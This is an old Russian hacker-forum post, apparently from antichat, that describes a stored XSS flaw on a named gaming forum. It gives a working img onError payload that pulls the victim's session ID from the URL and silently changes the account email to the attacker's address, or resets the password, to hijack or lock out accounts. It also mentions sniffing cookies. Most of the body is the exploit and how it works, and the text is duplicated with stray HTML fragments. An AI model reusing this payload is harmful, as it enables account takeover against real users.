JazzzSummerMan
11.06.2004, 20:36
Не так давно в файл-логе моего сниффера(http://zero.h12.ru/)начали появляться ссылки на форум http://forum.gameland.ru. Захожу посмотреть, а там наш Че восхищается этим форумом в плане его дырявости, что мол скоро он будет обязательно взломан и все такое) Ну жду,значит появления статьи на античате, не дождался, видимо он не стал заниматься этим. И вот решил сегодня попробовать сам.
Итак, уязвимы там, как я понял все возможные поля. Разрешены некоторые тэги, сначала я поробовал вставить скрипт через тэг <a> - влегкую. Но для взлома желательно использовать картинку, для скрытности, и тэг <img>, разумеется тоже пропускает скрипты. Думаю, поработаю со сниффером: отловлю referer(для получения ID) и cookies, и буду заходить в чужие настройки, короче заняться XSS. Но тут решил зайти в свои для начала. И что же? Действительно клево, давно такого извращения не встречалhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif) Абсолютно все настройки меняются без запроса текущего пароля, а именно: пароль, мыло для напоминания пароля - короче все самое интересное для насhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif. Ну повозился немного с JavaScript, (методы использовал, описанные в моей заметке "Почтовые WWW-интерфейсы") и вот что получилось. Способ вставки скрипта:<span style='color:red'>
<img src='x'onError=alert();></span>
Сам скрипт такой.
Вырезаем из location идентификатор (обычно позиция с 57 и 32 в длину)<span style='color:red'>
stroka=location &#43;1; str=stroka.substr(58, 32);</span> Здесь &#43; -код символа +, потому что иначе он не проходит.
задаваемый на обработчик onError URL изменения настройки:<span style='color:red'>
document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&sessionID='&#43;str &#43;'&EMAIL=visitlink@fromru.com';</span>
В этом случае я меняю только мыло для того чтобы мне выслали на него чужой пароль. А можно сразу и пароль поменять, правда отрезав тем самым юзера от своего аккаунта:<span style='color:red'>
document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&sessionID='&#43;str &#43;'&PASSWORD=XXXX&CONFIRM_PASSWORD=XXXX';</span>
Полностью, код который нужно вставлять в тело сообщения выглядит так:</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
<img name=coolpict src='x'OnError=`stroka=location &#43;1; str=stroka.substr(58, 32); document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&sessionID='&#43;str &#43;'&EMAIL=visitlink@fromru.com';`>[/QUOTE]<span id='postcolor'>
Когда пользователь загружает картинку, происходит ошибка, и JS автоматически загружает другую "картинку" - изменение настроек.
Так... Недостатки , значицца следующие)) : пользователь может просматреть свойства "рисунка"; громоздко, и неоптимизированно, некоторые браузеры, подозреваю, вообще не так проинтерпритируют код; почему-то срабатывает только если изначально включена графика, а на "показать рисунок" сработал только один раз и перестал); через раз также мой IE6 выдаёт ошибку о переполнении стэка и аварийно завершает работу; и самое главное, в некоторых случаях поле location может немного отличаться от того, под которую занесены параметры для функции substr().
Ну если кому-то будет очень нужно, тот все сможет оптимизировать, а для меня в этом нет надобности. В целом, пример рабочий.
Итак, уязвимы там, как я понял все возможные поля. Разрешены некоторые тэги, сначала я поробовал вставить скрипт через тэг <a> - влегкую. Но для взлома желательно использовать картинку, для скрытности, и тэг <img>, разумеется тоже пропускает скрипты. Думаю, поработаю со сниффером: отловлю referer(для получения ID) и cookies, и буду заходить в чужие настройки, короче заняться XSS. Но тут решил зайти в свои для начала. И что же? Действительно клево, давно такого извращения не встречалhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif) Абсолютно все настройки меняются без запроса текущего пароля, а именно: пароль, мыло для напоминания пароля - короче все самое интересное для насhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif. Ну повозился немного с JavaScript, (методы использовал, описанные в моей заметке "Почтовые WWW-интерфейсы") и вот что получилось. Способ вставки скрипта:<span style='color:red'>
<img src='x'onError=alert();></span>
Сам скрипт такой.
Вырезаем из location идентификатор (обычно позиция с 57 и 32 в длину)<span style='color:red'>
stroka=location &#43;1; str=stroka.substr(58, 32);</span> Здесь &#43; -код символа +, потому что иначе он не проходит.
задаваемый на обработчик onError URL изменения настройки:<span style='color:red'>
document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&sessionID='&#43;str &#43;'&EMAIL=visitlink@fromru.com';</span>
В этом случае я меняю только мыло для того чтобы мне выслали на него чужой пароль. А можно сразу и пароль поменять, правда отрезав тем самым юзера от своего аккаунта:<span style='color:red'>
document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&sessionID='&#43;str &#43;'&PASSWORD=XXXX&CONFIRM_PASSWORD=XXXX';</span>
Полностью, код который нужно вставлять в тело сообщения выглядит так:</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
<img name=coolpict src='x'OnError=`stroka=location &#43;1; str=stroka.substr(58, 32); document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&sessionID='&#43;str &#43;'&EMAIL=visitlink@fromru.com';`>[/QUOTE]<span id='postcolor'>
Когда пользователь загружает картинку, происходит ошибка, и JS автоматически загружает другую "картинку" - изменение настроек.
Так... Недостатки , значицца следующие)) : пользователь может просматреть свойства "рисунка"; громоздко, и неоптимизированно, некоторые браузеры, подозреваю, вообще не так проинтерпритируют код; почему-то срабатывает только если изначально включена графика, а на "показать рисунок" сработал только один раз и перестал); через раз также мой IE6 выдаёт ошибку о переполнении стэка и аварийно завершает работу; и самое главное, в некоторых случаях поле location может немного отличаться от того, под которую занесены параметры для функции substr().
Ну если кому-то будет очень нужно, тот все сможет оптимизировать, а для меня в этом нет надобности. В целом, пример рабочий.